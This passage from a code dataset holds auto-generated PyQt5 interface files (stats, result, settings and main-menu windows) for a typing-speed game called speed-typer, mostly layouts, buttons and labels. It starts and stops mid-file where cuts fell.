QtWidgets.QGridLayout()\n self.gridLayout_2.setObjectName(\"gridLayout_2\")\n spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout_2.addItem(spacerItem8, 0, 1, 1, 1)\n self.buttonResetAllTime = QtWidgets.QPushButton(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonResetAllTime.sizePolicy().hasHeightForWidth())\n self.buttonResetAllTime.setSizePolicy(sizePolicy)\n self.buttonResetAllTime.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonResetAllTime.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonResetAllTime.setAutoDefault(True)\n self.buttonResetAllTime.setObjectName(\"buttonResetAllTime\")\n self.gridLayout_2.addWidget(self.buttonResetAllTime, 0, 0, 1, 1)\n self.buttonResetDaily = QtWidgets.QPushButton(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonResetDaily.sizePolicy().hasHeightForWidth())\n self.buttonResetDaily.setSizePolicy(sizePolicy)\n self.buttonResetDaily.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonResetDaily.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonResetDaily.setAutoDefault(True)\n self.buttonResetDaily.setObjectName(\"buttonResetDaily\")\n self.gridLayout_2.addWidget(self.buttonResetDaily, 1, 0, 1, 1)\n self.buttonResetAll = QtWidgets.QPushButton(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonResetAll.sizePolicy().hasHeightForWidth())\n self.buttonResetAll.setSizePolicy(sizePolicy)\n self.buttonResetAll.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonResetAll.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonResetAll.setAutoDefault(True)\n self.buttonResetAll.setObjectName(\"buttonResetAll\")\n self.gridLayout_2.addWidget(self.buttonResetAll, 2, 0, 1, 1)\n self.verticalLayout_4.addLayout(self.gridLayout_2)\n spacerItem9 = QtWidgets.QSpacerItem(20, 50, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_4.addItem(spacerItem9)\n self.horizontalLayout = QtWidgets.QHBoxLayout()\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.buttonMainMenu = QtWidgets.QPushButton(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonMainMenu.sizePolicy().hasHeightForWidth())\n self.buttonMainMenu.setSizePolicy(sizePolicy)\n self.buttonMainMenu.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonMainMenu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonMainMenu.setAutoDefault(True)\n self.buttonMainMenu.setDefault(True)\n self.buttonMainMenu.setObjectName(\"buttonMainMenu\")\n self.horizontalLayout.addWidget(self.buttonMainMenu)\n spacerItem10 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout.addItem(spacerItem10)\n self.verticalLayout_4.addLayout(self.horizontalLayout)\n spacerItem11 = QtWidgets.QSpacerItem(18, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_4.addItem(spacerItem11)\n self.horizontalLayout_3.addLayout(self.verticalLayout_4)\n spacerItem12 = QtWidgets.QSpacerItem(100, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem12)\n self.scrollArea.setWidget(self.scrollAreaWidgetContents_2)\n self.horizontalLayout_4.addWidget(self.scrollArea)\n\n self.retranslateUi(statsWindow)\n QtCore.QMetaObject.connectSlotsByName(statsWindow)\n\n def retranslateUi(self, statsWindow):\n _translate = QtCore.QCoreApplication.translate\n statsWindow.setWindowTitle(_translate(\"statsWindow\", \"Stats\"))\n self.labelStatistics.setText(_translate(\"statsWindow\", \"Statistics\"))\n self.labelTodayScore.setText(_translate(\"statsWindow\", \"0 WPM\"))\n self.labelAllTimeScore.setText(_translate(\"statsWindow\", \"0 WPM\"))\n self.labelToday.setText(_translate(\"statsWindow\", \"Today\"))\n self.labelAllTIme.setText(_translate(\"statsWindow\", \"All-time \"))\n self.labelDaysAgo.setText(_translate(\"statsWindow\", \"- 0 days ago\"))\n self.labelResetTitle.setText(_translate(\"statsWindow\", \"Reset Highscores\"))\n self.buttonResetAllTime.setText(_translate(\"statsWindow\", \"All-time\"))\n self.buttonResetDaily.setText(_translate(\"statsWindow\", \"Today\\'s\"))\n self.buttonResetAll.setText(_translate(\"statsWindow\", \"All\"))\n self.buttonMainMenu.setText(_translate(\"statsWindow\", \"Back\"))\nfrom pyqtgraph import PlotWidget\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n statsWindow = QtWidgets.QWidget()\n ui = Ui_statsWindow()\n ui.setupUi(statsWindow)\n statsWindow.show()\n sys.exit(app.exec_())\n", "id": "9371957", "language": "Python", "matching_score": 7.292640686035156, "max_stars_count": 1, "path": "speed-typer/source_ui/stats_window.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'resultWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.4\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_resultWindow(object):\n def setupUi(self, resultWindow):\n resultWindow.setObjectName(\"resultWindow\")\n resultWindow.resize(625, 478)\n resultWindow.setAcceptDrops(True)\n self.horizontalLayout = QtWidgets.QHBoxLayout(resultWindow)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.scrollArea = QtWidgets.QScrollArea(resultWindow)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(\"scrollArea\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 603, 456))\n self.scrollAreaWidgetContents.setMinimumSize(QtCore.QSize(600, 450))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.scrollAreaWidgetContents)\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_4.addItem(spacerItem)\n self.verticalLayout_2 = QtWidgets.QVBoxLayout()\n self.verticalLayout_2.setContentsMargins(-1, -1, 0, -1)\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem1)\n self.labelHighscoreSet = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelHighscoreSet.sizePolicy().hasHeightForWidth())\n self.labelHighscoreSet.setSizePolicy(sizePolicy)\n self.labelHighscoreSet.setMinimumSize(QtCore.QSize(470, 0))\n font = QtGui.QFont()\n font.setPointSize(24)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.labelHighscoreSet.setFont(font)\n self.labelHighscoreSet.setStyleSheet(\"\")\n self.labelHighscoreSet.setAlignment(QtCore.Qt.AlignCenter)\n self.labelHighscoreSet.setWordWrap(True)\n self.labelHighscoreSet.setObjectName(\"labelHighscoreSet\")\n self.verticalLayout_2.addWidget(self.labelHighscoreSet)\n spacerItem2 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_2.addItem(spacerItem2)\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_3.setContentsMargins(-1, 30, -1, -1)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem3)\n self.labelSpeed = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelSpeed.sizePolicy().hasHeightForWidth())\n self.labelSpeed.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelSpeed.setFont(font)\n self.labelSpeed.setStyleSheet(\"\")\n self.labelSpeed.setWordWrap(True)\n self.labelSpeed.setObjectName(\"labelSpeed\")\n self.horizontalLayout_3.addWidget(self.labelSpeed)\n spacerItem4 = QtWidgets.QSpacerItem(50, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem4)\n self.labelAccuracy = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelAccuracy.sizePolicy().hasHeightForWidth())\n self.labelAccuracy.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelAccuracy.setFont(font)\n self.labelAccuracy.setStyleSheet(\"\")\n self.labelAccuracy.setWordWrap(True)\n self.labelAccuracy.setObjectName(\"labelAccuracy\")\n self.horizontalLayout_3.addWidget(self.labelAccuracy)\n spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem5)\n self.verticalLayout_2.addLayout(self.horizontalLayout_3)\n spacerItem6 = QtWidgets.QSpacerItem(20, 50, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_2.addItem(spacerItem6)\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_2.setContentsMargins(-1, 0, -1, -1)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem7)\n self.buttonMainMenu = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonMainMenu.sizePolicy().hasHeightForWidth())\n self.buttonMainMenu.setSizePolicy(sizePolicy)\n self.buttonMainMenu.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonMainMenu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonMainMenu.setAutoDefault(True)\n self.buttonMainMenu.setObjectName(\"buttonMainMenu\")\n self.horizontalLayout_2.addWidget(self.buttonMainMenu)\n spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem8)\n self.buttonNext = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonNext.sizePolicy().hasHeightForWidth())\n self.buttonNext.setSizePolicy(sizePolicy)\n self.buttonNext.setMinimumSize(QtCore.QSize(0, 40))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.buttonNext.setFont(font)\n self.buttonNext.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonNext.setAutoDefault(False)\n self.buttonNext.setDefault(True)\n self.buttonNext.setObjectName(\"buttonNext\")\n self.horizontalLayout_2.addWidget(self.buttonNext)\n spacerItem9 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem9)\n self.verticalLayout_2.addLayout(self.horizontalLayout_2)\n spacerItem10 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem10)\n self.horizontalLayout_4.addLayout(self.verticalLayout_2)\n spacerItem11 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_4.addItem(spacerItem11)\n self.scrollArea.setWidget(self.scrollAreaWidgetContents)\n self.horizontalLayout.addWidget(self.scrollArea)\n\n self.retranslateUi(resultWindow)\n QtCore.QMetaObject.connectSlotsByName(resultWindow)\n\n def retranslateUi(self, resultWindow):\n _translate = QtCore.QCoreApplication.translate\n resultWindow.setWindowTitle(_translate(\"resultWindow\", \"Result\"))\n self.labelHighscoreSet.setText(_translate(\"resultWindow\", \"You set an all time highscore!\"))\n self.labelSpeed.setText(_translate(\"resultWindow\", \"50 WPM\"))\n self.labelAccuracy.setText(_translate(\"resultWindow\", \"100%\"))\n self.buttonMainMenu.setText(_translate(\"resultWindow\", \"Main Menu\"))\n self.buttonNext.setText(_translate(\"resultWindow\", \"Next\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n resultWindow = QtWidgets.QWidget()\n ui = Ui_resultWindow()\n ui.setupUi(resultWindow)\n resultWindow.show()\n sys.exit(app.exec_())\n", "id": "12583408", "language": "Python", "matching_score": 7.689216136932373, "max_stars_count": 1, "path": "speed-typer/source_ui/result_window.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'settingsWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.4\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_settingsWindow(object):\n def setupUi(self, settingsWindow):\n settingsWindow.setObjectName(\"settingsWindow\")\n settingsWindow.resize(675, 531)\n self.horizontalLayout_5 = QtWidgets.QHBoxLayout(settingsWindow)\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\n self.scrollArea = QtWidgets.QScrollArea(settingsWindow)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(\"scrollArea\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 653, 509))\n self.scrollAreaWidgetContents.setMinimumSize(QtCore.QSize(600, 500))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.scrollAreaWidgetContents)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem)\n self.gridLayout = QtWidgets.QGridLayout()\n self.gridLayout.setContentsMargins(-1, 0, -1, -1)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.labelKeystrokeSounds = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelKeystrokeSounds.setFont(font)\n self.labelKeystrokeSounds.setObjectName(\"labelKeystrokeSounds\")\n self.gridLayout.addWidget(self.labelKeystrokeSounds, 3, 0, 1, 1)\n spacerItem1 = QtWidgets.QSpacerItem(20, 10, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.gridLayout.addItem(spacerItem1, 2, 0, 1, 1)\n self.horizontalLayout = QtWidgets.QHBoxLayout()\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.buttonMainMenu = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonMainMenu.sizePolicy().hasHeightForWidth())\n self.buttonMainMenu.setSizePolicy(sizePolicy)\n self.buttonMainMenu.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonMainMenu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonMainMenu.setAutoDefault(False)\n self.buttonMainMenu.setDefault(True)\n self.buttonMainMenu.setObjectName(\"buttonMainMenu\")\n self.horizontalLayout.addWidget(self.buttonMainMenu)\n self.buttonApply = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonApply.sizePolicy().hasHeightForWidth())\n self.buttonApply.setSizePolicy(sizePolicy)\n self.buttonApply.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonApply.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonApply.setAutoDefault(True)\n self.buttonApply.setDefault(False)\n self.buttonApply.setObjectName(\"buttonApply\")\n self.horizontalLayout.addWidget(self.buttonApply)\n self.gridLayout.addLayout(self.horizontalLayout, 8, 0, 1, 1)\n self.layoutKeystrokeSounds = QtWidgets.QHBoxLayout()\n self.layoutKeystrokeSounds.setObjectName(\"layoutKeystrokeSounds\")\n self.checkBoxToggleSounds = QtWidgets.QCheckBox(self.scrollAreaWidgetContents)\n self.checkBoxToggleSounds.setText(\"\")\n self.checkBoxToggleSounds.setObjectName(\"checkBoxToggleSounds\")\n self.layoutKeystrokeSounds.addWidget(self.checkBoxToggleSounds)\n spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.layoutKeystrokeSounds.addItem(spacerItem2)\n self.gridLayout.addLayout(self.layoutKeystrokeSounds, 3, 4, 1, 1)\n spacerItem3 = QtWidgets.QSpacerItem(20, 10, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.gridLayout.addItem(spacerItem3, 4, 0, 1, 1)\n self.labelDarkMode = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelDarkMode.setFont(font)\n self.labelDarkMode.setObjectName(\"labelDarkMode\")\n self.gridLayout.addWidget(self.labelDarkMode, 1, 0, 1, 1)\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_2.setContentsMargins(-1, 0, -1, -1)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n self.comboSelectSound = QtWidgets.QComboBox(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboSelectSound.sizePolicy().hasHeightForWidth())\n self.comboSelectSound.setSizePolicy(sizePolicy)\n self.comboSelectSound.setMinimumSize(QtCore.QSize(230, 40))\n self.comboSelectSound.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.comboSelectSound.setObjectName(\"comboSelectSound\")\n self.horizontalLayout_2.addWidget(self.comboSelectSound)\n spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem4)\n self.gridLayout.addLayout(self.horizontalLayout_2, 5, 4, 1, 1)\n spacerItem5 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.gridLayout.addItem(spacerItem5, 0, 0, 1, 1)\n self.layoutDarkMode = QtWidgets.QHBoxLayout()\n self.layoutDarkMode.setObjectName(\"layoutDarkMode\")\n self.checkBoxDarkMode = QtWidgets.QCheckBox(self.scrollAreaWidgetContents)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.checkBoxDarkMode.setFont(font)\n self.checkBoxDarkMode.setText(\"\")\n self.checkBoxDarkMode.setChecked(True)\n self.checkBoxDarkMode.setAutoExclusive(True)\n self.checkBoxDarkMode.setObjectName(\"checkBoxDarkMode\")\n self.layoutDarkMode.addWidget(self.checkBoxDarkMode)\n spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.layoutDarkMode.addItem(spacerItem6)\n self.gridLayout.addLayout(self.layoutDarkMode, 1, 4, 1, 1)\n spacerItem7 = QtWidgets.QSpacerItem(10, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout.addItem(spacerItem7, 1, 3, 1, 1)\n spacerItem8 = QtWidgets.QSpacerItem(10, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.gridLayout.addItem(spacerItem8, 6, 0, 1, 1)\n self.label = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.label.setFont(font)\n self.label.setObjectName(\"label\")\n self.gridLayout.addWidget(self.label, 5, 0, 1, 1)\n spacerItem9 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.gridLayout.addItem(spacerItem9, 9, 0, 1, 1)\n self.horizontalLayout_3.addLayout(self.gridLayout)\n spacerItem10 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem10)\n self.scrollArea.setWidget(self.scrollAreaWidgetContents)\n self.horizontalLayout_5.addWidget(self.scrollArea)\n\n self.retranslateUi(settingsWindow)\n QtCore.QMetaObject.connectSlotsByName(settingsWindow)\n\n def retranslateUi(self, settingsWindow):\n _translate = QtCore.QCoreApplication.translate\n settingsWindow.setWindowTitle(_translate(\"settingsWindow\", \"Settings\"))\n self.labelKeystrokeSounds.setText(_translate(\"settingsWindow\", \"Sound Effects\"))\n self.buttonMainMenu.setText(_translate(\"settingsWindow\", \"Back\"))\n self.buttonApply.setText(_translate(\"settingsWindow\", \"Apply\"))\n self.labelDarkMode.setText(_translate(\"settingsWindow\", \"Dark Theme\"))\n self.label.setText(_translate(\"settingsWindow\", \"Keystroke\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n settingsWindow = QtWidgets.QWidget()\n ui = Ui_settingsWindow()\n ui.setupUi(settingsWindow)\n settingsWindow.show()\n sys.exit(app.exec_())\n", "id": "11326634", "language": "Python", "matching_score": 7.6903862953186035, "max_stars_count": 1, "path": "speed-typer/source_ui/settings_window.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'mainWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.4\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_mainWindow(object):\n def setupUi(self, mainWindow):\n mainWindow.setObjectName(\"mainWindow\")\n mainWindow.resize(858, 697)\n mainWindow.setStyleSheet(\"\")\n self.horizontalLayout = QtWidgets.QHBoxLayout(mainWindow)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.scrollArea = QtWidgets.QScrollArea(mainWindow)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(\"scrollArea\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 836, 675))\n self.scrollAreaWidgetContents.setMinimumSize(QtCore.QSize(640, 600))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.scrollAreaWidgetContents)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem)\n self.verticalLayout_3 = QtWidgets.QVBoxLayout()\n self.verticalLayout_3.setContentsMargins(0, -1, -1, 0)\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\n spacerItem1 = QtWidgets.QSpacerItem(20, 10, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_3.addItem(spacerItem1)\n self.labelMainMenu = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelMainMenu.sizePolicy().hasHeightForWidth())\n self.labelMainMenu.setSizePolicy(sizePolicy)\n self.labelMainMenu.setMinimumSize(QtCore.QSize(0, 100))\n self.labelMainMenu.setMaximumSize(QtCore.QSize(16777215, 40))\n font = QtGui.QFont()\n font.setPointSize(36)\n font.setBold(False)\n font.setWeight(50)\n self.labelMainMenu.setFont(font)\n self.labelMainMenu.setStyleSheet(\"\")\n self.labelMainMenu.setTextFormat(QtCore.Qt.PlainText)\n self.labelMainMenu.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.labelMainMenu.setObjectName(\"labelMainMenu\")\n self.verticalLayout_3.addWidget(self.labelMainMenu)\n spacerItem2 = QtWidgets.QSpacerItem(20, 50, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_3.addItem(spacerItem2)\n self.buttonStart = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonStart.sizePolicy().hasHeightForWidth())\n self.buttonStart.setSizePolicy(sizePolicy)\n self.buttonStart.setMinimumSize(QtCore.QSize(0, 40))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.buttonStart.setFont(font)\n self.buttonStart.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonStart.setAutoDefault(True)\n self.buttonStart.setObjectName(\"buttonStart\")\n self.verticalLayout_3.addWidget(self.buttonStart)\n spacerItem3 = QtWidgets.QSpacerItem(20, 5, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_3.addItem(spacerItem3)\n self.comboBoxSelectMode = QtWidgets.QComboBox(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBoxSelectMode.sizePolicy().hasHeightForWidth())\n self.comboBoxSelectMode.setSizePolicy(sizePolicy)\n self.comboBoxSelectMode.setMinimumSize(QtCore.QSize(300, 40))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.comboBoxSelectMode.setFont(font)\n self.comboBoxSelectMode.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.comboBoxSelectMode.setFocusPolicy(QtCore.Qt.StrongFocus)\n 